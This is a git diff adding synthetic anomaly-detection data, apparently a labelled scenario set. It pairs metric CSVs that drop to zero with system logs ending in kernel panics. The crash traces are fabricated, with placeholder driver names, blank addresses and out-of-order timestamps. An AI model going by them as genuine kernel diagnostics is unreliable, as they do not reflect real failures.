10:05:26 kernel: [12346.101876] Modules linked in: some_driver_module(O) other_module(O) +Jul 18 10:05:27 kernel: [12347.301987] Kernel panic - not syncing: Fatal exception in interrupt +Jul 18 10:05:27 kernel: [12347.302543] Kernel Offset: disabled +Jul 18 10:05:28 kernel: [12348.503456] Rebooting in 10 seconds.. diff --git a/anom_dataset/scenario_17/anom_17_2.csv b/anom_dataset/scenario_17/anom_17_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..b1d3b8f26fa7f34cabda2081cce75c72c4a4b690 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-10T16:06:55Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-10T16:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_2.log b/anom_dataset/scenario_17/anom_17_2.log new file mode 100644 index 0000000000000000000000000000000000000000..a06c58d7f063cb68a6564518ce21a4fa59b349c2 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_2.log @@ -0,0 +1,7 @@ +Aug 10 16:01:00 systemd[1]: Started User Manager for UID 1000. +Aug 10 16:02:00 CRON[15234]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 10 16:05:00 kernel: [ 300.1122] my_custom_driver[12345]: segfault at 10 ip 0000000000000010 sp ffff88011a4b7d78 error 14 in my_custom_driver.ko[+0x1000] +Aug 10 16:05:00 kernel: [ 300.1123] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Aug 10 16:05:00 kernel: [ 300.1124] RIP [<0000000000000010>] 0x10 +Aug 10 16:05:00 kernel: [ 300.1125] ---[ end trace 3a45c9a96e5a6f8f ]--- +Aug 10 16:05:00 kernel: [ 300.1126] Kernel panic - not syncing: Oops diff --git a/anom_dataset/scenario_17/anom_17_3.csv b/anom_dataset/scenario_17/anom_17_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac3707aa5ba3724be714a377194240cad840dccc --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T17:00:00Z,31.69,60.39,25.28,1.79,1.23 +2025-08-10T17:00:05Z,21.1,57.8,39.8,1.76,0.7 +2025-08-10T17:00:10Z,31.58,53.75,24.65,2.39,1.45 +2025-08-10T17:00:15Z,43.06,44.14,41.22,1.6,0.75 +2025-08-10T17:00:20Z,29.24,56.92,21.35,1.99,1.1 +2025-08-10T17:00:25Z,41.88,45.22,27.99,1.21,1.7 +2025-08-10T17:00:30Z,39.52,47.39,38.97,1.63,1.26 +2025-08-10T17:00:35Z,40.91,42.98,15.59,2.26,1.17 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b/anom_dataset/scenario_17/anom_17_3.log @@ -0,0 +1,14 @@ +Aug 10 17:01:00 systemd[1]: Started User Manager for UID 1000. +Aug 10 17:02:00 CRON[15234]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 10 17:03:20 kernel: [ 200.5566] BUG: soft lockup - CPU#2 stuck for 22s! [kworker/2:1:1234] +Aug 10 17:03:20 kernel: [ 200.5567] Modules linked in: vboxguest vboxsf(OE) vboxvideo(OE) crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper cryptd psmouse serio_raw pata_acpi +Aug 10 17:03:20 kernel: [ 200.5568] CPU: 2 PID: 1234 Comm: kworker/2:1 Tainted: G OE 4.15.0-55-generic #60-Ubuntu +Aug 10 17:03:20 kernel: [ 200.5569] RIP: 0010:native_safe_halt+0xb/0x10 +Aug 10 17:03:20 kernel: [ 200.5570] Call Trace: +Aug 10 17:03:20 kernel: [ 200.5571] default_idle+0x1b/0x120 +Aug 10 17:03:20 kernel: [ 200.5572] arch_cpu_idle+0xf/0x20 +Aug 10 17:03:20 kernel: [ 200.5573] do_idle+0x1dd/0x2a0 +Aug 10 17:03:20 kernel: [ 200.5574] cpu_startup_entry+0x73/0x80 +Aug 10 17:03:20 kernel: [ 200.5575] start_secondary+0x1ab/0x200 +Aug 10 17:03:20 kernel: [ 200.5576] secondary_startup_64+0xa5/0xb0 +Aug 10 17:03:20 kernel: [ 200.5577] ---[ end Kernel panic - not syncing: soft lockup ]--- diff --git a/anom_dataset/scenario_17/anom_17_4.csv b/anom_dataset/scenario_17/anom_17_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..4b71bba398b590e7e65c2c4ade084632aa750e1f --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T18:00:00Z,22.05,48.83,35.67,2.45,0.72 +2025-08-10T18:00:05Z,32.66,48.04,22.95,1.21,1.52 +2025-08-10T18:00:10Z,26.9,44.61,32.86,1.49,1.1 +2025-08-10T18:00:15Z,38.61,55.95,29.06,2.31,0.74 +2025-08-10T18:00:20Z,32.54,56.18,40.64,1.09,0.54 +2025-08-10T18:00:25Z,37.02,46.97,36.16,1.75,0.62 +2025-08-10T18:00:30Z,29.7,52.37,24.87,1.2,1.45 +2025-08-10T18:00:35Z,29.31,47.78,32.92,2.27,1.47 +2025-08-10T18:00:40Z,43.63,44.22,27.55,1.01,0.71 +2025-08-10T18:00:45Z,41.8,41.09,19.66,1.23,0.79 +2025-08-10T18:00:50Z,41.96,53.66,42.32,2.0,1.26 +2025-08-10T18:00:55Z,27.12,58.65,27.76,1.52,0.66 +2025-08-10T18:01:00Z,26.24,41.06,37.31,2.12,0.76 +2025-08-10T18:01:05Z,39.99,56.62,32.72,2.24,1.57 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Manager for UID 1000. +Aug 10 18:02:00 CRON[15234]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 10 18:06:15 kernel: [ 375.9876] general protection fault: 0000 [#1] SMP +Aug 10 18:06:15 kernel: [ 375.9877] Modules linked in: ipt_MASQUERADE nf_nat_masquerade_ipv4 +Aug 10 18:06:15 kernel: [ 375.9878] CPU: 3 PID: 6789 Comm: httpd Not tainted 4.9.0-8-amd64 #1 +Aug 10 18:06:15 kernel: [ 375.9879] RIP: 0010:[] a_bad_driver_function+0x2/0x10 [a_bad_driver] +Aug 10 18:06:15 kernel: [ 375.9880] Call Trace: +Aug 10 18:06:15 kernel: [ 375.9881] [] ? kfree+0x1ab/0x1c0 +Aug 10 18:06:15 kernel: [ 375.9882] [] another_driver_function+0xe/0x20 [a_bad_driver] +Aug 10 18:06:15 kernel: [ 375.9883] [] dev_ioctl+0x338/0x520 +Aug 10 18:06:15 kernel: [ 375.9884] [] do_vfs_ioctl+0xa1/0x630 +Aug 10 18:06:15 kernel: [ 375.9885] ---[ end trace a0b1c2d3e4f5a6b7 ]--- +Aug 10 18:06:15 kernel: [ 375.9886] Kernel panic - not syncing: Fatal GPF diff --git a/anom_dataset/scenario_17/anom_17_5.csv b/anom_dataset/scenario_17/anom_17_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..40f4f21b411b2b0f3c5ce364aa93d0a8e5e21da1 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,29.95,43.27,33.89,0.58,1.57 +2025-07-03T11:00:05Z,16.4,40.11,23.33,1.29,1.73 +2025-07-03T11:00:10Z,15.77,41.66,33.26,0.74,1.62 +2025-07-03T11:00:15Z,24.42,39.72,22.95,1.0,1.76 +2025-07-03T11:00:20Z,28.56,38.23,31.19,1.15,1.88 +2025-07-03T11:00:25Z,20.11,39.27,35.7,0.58,0.86 +2025-07-03T11:00:30Z,24.17,41.66,35.0,0.97,1.92 +2025-07-03T11:00:35Z,26.95,37.11,36.9,0.62,1.79 +2025-07-03T11:00:40Z,28.06,44.48,30.11,0.51,1.02 +2025-07-03T11:00:45Z,26.39,44.73,21.94,1.45,0.83 +2025-07-03T11:00:50Z,27.78,43.5,20.87,1.35,1.18 +2025-07-03T11:00:55Z,20.46,35.43,28.39,0.95,1.51 +2025-07-03T11:01:00Z,28.69,36.86,29.99,1.24,1.95 +2025-07-03T11:01:05Z,22.4,43.42,21.62,1.12,0.99 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INFO: routine sync completed for pod web-app +Jul 03 11:00:05 kernel-bug-vm CRON[300]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:00:25 kernel-bug-vm systemd[1]: Starting Clean php session files... +Jul 03 11:01:05 kernel-bug-vm CRON[2100]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:01:15 kernel-bug-vm kubelet[1234]: INFO: routine sync completed for pod web-app +Jul 03 11:01:40 kernel-bug-vm sshd[23589]: Accepted password for user admin from 10.0.2.2 port 51342 ssh2 +Jul 03 11:02:05 kernel-bug-vm CRON[3900]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:02:30 kernel-bug-vm kubelet[1234]: INFO: routine sync completed for pod web-app +Jul 03 11:03:05 kernel-bug-vm CRON[5700]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:03:45 kernel-bug-vm kernel: [180.123456] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 03 11:03:45 kernel-bug-vm kubelet[1234]: INFO: routine sync completed for pod web-app +Jul 03 11:04:05 kernel-bug-vm CRON[7500]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:05:00 kernel-bug-vm kubelet[1234]: INFO: routine sync completed for pod web-app +Jul 03 11:05:05 kernel-bug-vm CRON[9300]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:06:01 kernel-bug-vm kernel: [ 361.321453] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 03 11:06:01 kernel-bug-vm kernel: [ 361.371458] IP: [] setup_irq+0x23/0x80 +Jul 03 11:06:02 kernel-bug-vm kernel: [ 362.001569] PGD 0 +Jul 03 11:06:02 kernel-bug-vm kernel: [ 362.011573] Oops: 0000 [#1] PREEMPT SMP +Jul 03 11:06:03 kernel-bug-vm kernel: [ 363.112897] Modules linked in: xfs libcrc32c sd_mod ahci libahci +Jul 03 11:06:03 kernel-bug-vm kernel: [ 363.162901] CPU: 1 PID: 1234 Comm: kworker/1:1 Not tainted 4.4.0-31-generic #50-Ubuntu +Jul 03 11:06:04 kernel-bug-vm kernel: [ 364.053214] RIP: 0010:[] [] setup_irq+0x23/0x80 +Jul 03 11:06:05 kernel-bug-vm kernel: [ 365.100456] Kernel panic - not syncing: Fatal exception in interrupt +Jul 03 11:06:05 kernel-bug-vm kernel: [ 365.150461] Kernel Offset: disabled +Jul 03 11:06:05 kernel-bug-vm CRON[11100]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:06:06 kernel-bug-vm kernel: [ 366.230789] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- +Jul 03 11:06:15 kernel-bug-vm kubelet[1234]: INFO: routine sync completed for pod web-app diff --git a/anom_dataset/scenario_17/anom_17_6.csv b/anom_dataset/scenario_17/anom_17_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..bfaa99b82eec6f3c74f1e95ce955356b5daa831b --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,9.686587877398509,41.17197283890638,20.86182461886323,0.6855506826385362,1.6424620100851683 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+2025-07-02T10:06:25Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:30Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:35Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:40Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:45Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:50Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:06:55Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_6.log b/anom_dataset/scenario_17/anom_17_6.log new file mode 100644 index 0000000000000000000000000000000000000000..27aebf7406b72ea33acc2abcdf2a8c685a46a7e3 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_6.log @@ -0,0 +1,42 @@ +Jul 02 10:00:02 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:00:05 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:01:25 auditd[1]: User login succeeded for user ubuntu (uid=1000) +Jul 02 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:02:30 CRON[12501]: (root) CMD ( /usr/lib/i386-linux-gnu/lightdm/lightdm-guest-session /usr/sbin/guest-account --delete) +Jul 02 10:02:55 kernel: [12345.678] audit: type=1400 audit(1688288575.123:45): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/localtime" pid=1234 comm="ntpd" +Jul 02 10:03:05 kernel: [12385.123] INFO: task kworker/0:1:1234 blocked for more than 120 seconds. +Jul 02 10:03:10 kernel: [12390.456] Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:03:15 kernel: [12395.789] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:03:20 kernel: [12400.123] kworker/0:1 D 0 1234 2 0x80000000 +Jul 02 10:03:45 nginx[1123]: GET /api/data HTTP/1.1 502 Bad Gateway +Jul 02 10:04:10 kernel: [12430.999] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 02 10:04:15 kernel: [12435.001] IP: [] generic_make_request+0x1d/0x30 +Jul 02 10:04:20 kernel: [12440.123] PGD 0 P4D 0 +Jul 02 10:04:25 kernel: [12445.456] Oops: 0000 [#1] SMP +Jul 02 10:04:30 kernel: [12450.789] Modules linked in: xfs libcrc32c +Jul 02 10:04:35 kernel: [12455.123] CPU: 1 PID: 5432 Comm: kworker/1:2 Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:04:40 kernel: [12460.456] RIP: 0010:[] [] generic_make_request+0x1d/0x30 +Jul 02 10:04:45 sshd[13579]: error: kex_exchange_identification: Connection closed by remote host +Jul 02 10:04:50 kernel: [12470.111] RSP: 0018:ffff8801ce4dfd08 EFLAGS: 00010246 +Jul 02 10:04:55 kernel: [12475.222] RAX: 0000000000000000 RBX: ffff8801ce5d4000 RCX: 0000000000000000 +Jul 02 10:05:01 kernel: [12481.333] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff8801ce5d4000 +Jul 02 10:05:06 kernel: [12486.444] CR2: 0000000000000000 +Jul 02 10:05:11 CRON[13602]: (ubuntu) CMD (python /home/ubuntu/app/check_status.py >/dev/null 2>&1) +Jul 02 10:05:45 kernel: [12525.888] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b +Jul 02 10:05:50 kernel: [12530.999] CPU: 1 PID: 1 Comm: init Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:05:55 kernel: [12535.111] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-2.fc29 04/01/2014 +Jul 02 10:06:00 kernel: [12540.222] Call Trace: +Jul 02 10:06:05 kernel: [12545.333] +Jul 02 10:06:10 kernel: [12550.444] dump_stack+0x6d/0x8b +Jul 02 10:06:15 kernel: [12555.555] panic+0x101/0x2e3 +Jul 02 10:06:20 kernel: [12560.666] do_exit+0x10b2/0x10c0 +Jul 02 10:06:25 kernel: [12565.777] do_group_exit+0x43/0xa0 +Jul 02 10:06:30 kernel: [12570.888] get_signal+0x147/0x6b0 +Jul 02 10:06:35 kernel: [12575.999] do_signal+0x37/0x730 +Jul 02 10:06:40 kernel: [12580.111] ? handle_mm_fault+0xd9/0x210 +Jul 02 10:06:45 kernel: [12585.222] exit_to_usermode_loop+0x7b/0xc0 +Jul 02 10:06:50 kernel: [12590.333] do_syscall_64+0x15b/0x190 +Jul 02 10:06:55 kernel: [12595.444] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +Jul 02 10:07:00 kernel: [12600.555] +Jul 02 10:07:05 kernel: [12605.666] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b ]--- diff --git a/anom_dataset/scenario_17/anom_17_7.csv b/anom_dataset/scenario_17/anom_17_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..7e911f466072c36b988d7424f8c5ba4723b85ad4 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T08:00:00Z,22.38,36.45,40.89,0.55,0.95 +2025-08-22T08:00:05Z,26.22,43.55,31.67,0.88,1.11 +2025-08-22T08:00:10Z,21.54,35.56,31.78,1.03,1.35 +2025-08-22T08:00:15Z,26.2,38.57,39.69,1.25,1.95 +2025-08-22T08:00:20Z,18.65,43.33,42.67,1.11,0.83 +2025-08-22T08:00:25Z,25.22,40.36,24.89,1.29,1.22 +2025-08-22T08:00:30Z,28.2,46.21,33.79,0.81,0.87 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+2025-08-22T08:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T08:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_7.log b/anom_dataset/scenario_17/anom_17_7.log new file mode 100644 index 0000000000000000000000000000000000000000..a7c0bd0eec9eea50d3649c86919125979ba87663 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_7.log @@ -0,0 +1,20 @@ +Aug 22 08:00:00 CRON[19692]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:00:35 kubelet[1234]: INFO: Successfully probed container health-check +Aug 22 08:00:45 CRON[16716]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:00:55 sshd[25181]: Accepted publickey for user root from 10.0.2.2 port 54321 ssh2: RSA SHA256:xyz... +Aug 22 08:01:05 CRON[12100]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:01:10 kubelet[1234]: INFO: Successfully probed container health-check +Aug 22 08:01:15 kubelet[1234]: INFO: Successfully probed container health-check +Aug 22 08:01:50 sshd[29434]: Accepted publickey for user root from 10.0.2.2 port 54321 ssh2: RSA SHA256:xyz... +Aug 22 08:02:05 CRON[14921]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:02:15 CRON[17204]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:02:20 systemd[1]: Starting clean-up of temporary directories... +Aug 22 08:02:35 CRON[16143]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:04:10 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=8.8.8.8 DST=10.0.1.5 LEN=60 TOS=0x00 PREC=0x00 TTL=115 ID=12345 DF PROTO=TCP SPT=443 DPT=12345 WINDOW=29200 RES=0x00 CWR ECE SYN +Aug 22 08:05:10 CRON[12504]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 08:06:40 kernel: BUG: unable to handle kernel NULL pointer dereference at (null) +Aug 22 08:06:40 kernel: IP: [] generic_make_request+0x26/0x60 +Aug 22 08:06:40 kernel: Kernel panic - not syncing: Fatal exception in interrupt +Aug 22 08:06:40 kernel: Oops: 0000 [#1] SMP +Aug 22 08:06:40 kernel: PGD 1c2d067 PUD 1c2e067 PMD 0 +Aug 22 08:06:40 kernel: Rebooting in 10 seconds.. diff --git a/anom_dataset/scenario_17/anom_17_8.csv b/anom_dataset/scenario_17/anom_17_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..37b47e3b3e78156dd4b569bc41d5053c46a5dd22 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,49.88,56.54,75.55,0.62,1.89 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+2025-08-22T14:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T14:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T14:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T14:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T14:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T14:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_8.log b/anom_dataset/scenario_17/anom_17_8.log new file mode 100644 index 0000000000000000000000000000000000000000..20eee1a4723e9363e551bff6eee38bd0d8d9a80b --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_8.log @@ -0,0 +1,38 @@ +Aug 22 14:00:12 systemd[1]: Starting clean-up of temporary directories... +Aug 22 14:00:25 systemd[1]: Finished clean-up of temporary directories. +Aug 22 14:01:03 CRON[31021]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 14:02:30 sshd[31050]: Accepted password for user root from 10.0.2.2 port 51342 ssh2 +Aug 22 14:03:05 systemd[1]: Created slice User Slice of UID 0. +Aug 22 14:04:45 sshd[31050]: pam_unix(sshd:session): session opened for user root by (uid=0) +Aug 22 14:04:58 kernel: [25531.842341] ------------[ cut here ]------------ +Aug 22 14:04:58 kernel: [25531.842345] BUG: unable to handle kernel NULL pointer dereference at 0000000000000008 +Aug 22 14:04:59 kernel: [25531.842350] IP: [] generic_make_request+0xda/0x1c0 +Aug 22 14:04:59 kernel: [25531.842355] PGD 0 +Aug 22 14:05:00 kernel: [25531.842360] Oops: 0000 [#1] PREEMPT SMP +Aug 22 14:05:00 kernel: [25531.842364] Modules linked in: e1000e(+) ptp pps_core +Aug 22 14:05:00 kernel: [25531.842370] CPU: 1 PID: 1234 Comm: kworker/1:1 Not tainted 4.4.0-31-generic #50-Ubuntu +Aug 22 14:05:00 kernel: [25531.842375] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 1.2-64245_Ubuntu +Aug 22 14:05:00 kernel: [25531.842380] task: ffff88003d5c8000 ti: ffff88003d5d0000 task.ti: ffff88003d5d0000 +Aug 22 14:05:00 kernel: [25531.842385] RIP: 0010:[] [] generic_make_request+0xda/0x1c0 +Aug 22 14:05:00 kernel: [25531.842390] RSP: 0018:ffff88003d5d3d48 EFLAGS: 00010246 +Aug 22 14:05:00 kernel: [25531.842395] RAX: 0000000000000000 RBX: ffff88003d5d3e18 RCX: 0000000000000000 +Aug 22 14:05:00 kernel: [25531.842400] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88003d5d3e18 +Aug 22 14:05:00 kernel: [25531.842405] RBP: ffff88003d5d3d78 R08: 0000000000000000 R09: 0000000000000000 +Aug 22 14:05:00 kernel: [25531.842410] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88003d5d3e18 +Aug 22 14:05:00 kernel: [25531.842415] R13: 0000000000000000 R14: ffff88003d5d3e18 R15: ffff88003d5d3e18 +Aug 22 14:05:00 kernel: [25531.842420] FS: 0000000000000000(0000) GS:ffff88003da80000(0000) knlGS:0000000000000000 +Aug 22 14:05:00 kernel: [25531.842425] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Aug 22 14:05:00 kernel: [25531.842430] CR2: 0000000000000008 CR3: 000000003d5e5000 CR4: 00000000000406e0 +Aug 22 14:05:00 kernel: [25531.842435] Stack: +Aug 22 14:05:00 kernel: [25531.842440] ffffffffa000c0a0 ffff88003d5d3da8 ffffffffa000b0e0 ffff88003d5d3da8 +Aug 22 14:05:00 kernel: [25531.842445] ffff88003d5d3dd8 ffffffffa000a123 ffff88003d5d3e18 ffff88003d5d3de8 +Aug 22 14:05:00 kernel: [25531.842450] ffffffffa000a456 ffff88003d5d3e18 ffff88003d5d3e18 ffff88003d5d3df8 +Aug 22 14:05:00 kernel: [25531.842455] Call Trace: +Aug 22 14:05:00 kernel: [25531.842460] [] ? e1000e_fetch_rx_buffer+0x120/0x120 [e1000e] +Aug 22 14:05:00 kernel: [25531.842465] [] ? e1000e_clean_rx_irq+0x1f0/0x1f0 [e1000e] +Aug 22 14:05:00 kernel: [25531.842470] [] e1000_clean+0x83/0x3f0 [e1000e] +Aug 22 14:05:00 kernel: [25531.842475] Code: 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 10 65 48 8b 04 25 28 00 00 00 48 89 45 d8 48 85 f6 74 33 48 8b 7e 10 48 8b 47 60 <48> 8b 40 08 48 85 c0 74 08 4c 89 f7 e8 4c cb ff ff 4c 89 f0 +Aug 22 14:05:01 kernel: [25531.842480] ---[ end trace 2a7b3c8f8b8c1d3f ]--- +Aug 22 14:05:01 kernel: [25531.900001] Kernel panic - not syncing: Fatal exception in interrupt +Aug 22 14:05:01 kernel: [25531.900001] Kernel Offset: disabled +Aug 22 14:05:01 kernel: [25531.900001] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_17/anom_17_9.csv b/anom_dataset/scenario_17/anom_17_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..f22f72b285c30daac32adb781e7a38a390923c10 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,15.505635216793799,56.89748153790731,24.195348313376616,1.3367766898975202,0.9861527098385235 +2025-07-03T10:00:05Z,13.863062089755315,43.59810904363202,26.919485043581066,1.1122516319591043,1.2060036559440979 +2025-07-03T10:00:10Z,21.768945401492587,43.97556476240574,31.580572078046757,1.2863515549544984,0.8195281095144711 +2025-07-03T10:00:15Z,12.796248835275609,46.57670226032661,32.80483001376085,1.3371677705703175,0.9761337314287062 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+2025-07-03T10:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_9.log b/anom_dataset/scenario_17/anom_17_9.log new file mode 100644 index 0000000000000000000000000000000000000000..774448b64ef5d95344f8bc1c370a33c73d42d244 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_9.log @@ -0,0 +1,50 @@ +Jul 03 10:00:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:02 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:01 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:05 systemd[1]: Starting daily clean up activities... +2025-07-03 10:00:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +2025-07-03 10:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +2025-07-03 10:03:30 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 03 10:05:00 kernel: [18921.102345] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 03 10:05:00 kernel: [18921.102350] IP: [] generic_make_request+0x14/0x30 +Jul 03 10:05:00 kernel: [18921.102355] PGD 1f5d067 PUD 1f5e067 PMD 0 +Jul 03 10:05:00 kernel: [18921.102360] Oops: 0000 [#1] SMP +Jul 03 10:05:00 kernel: [18921.102365] Modules linked in: tcp_bbr(O) veth xt_nat xt_tcpudp xt_conntrack xt_addrtype ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack bridge stp llc intel_rapl sb_edac edac_core x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd intel_cstate intel_rapl_perf ip_tables x_tables autofs4 overlay +Jul 03 10:05:00 kernel: [18921.102400] CPU: 1 PID: 1234 Comm: kworker/1:1 Tainted: G O 4.4.0-142-generic #168-Ubuntu +Jul 03 10:05:00 kernel: [18921.102405] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +Jul 03 10:05:00 kernel: [18921.102410] Workqueue: events_freezable block_unblock_work +Jul 03 10:05:00 kernel: [18921.102415] task: ffff88003a2e8000 ti: ffff88003a2ec000 task.ti: ffff88003a2ec000 +Jul 03 10:05:00 kernel: [18921.102420] RIP: 0010:[] [] generic_make_request+0x14/0x30 +Jul 03 10:05:00 kernel: [18921.102425] RSP: 0018:ffff88003a2efc68 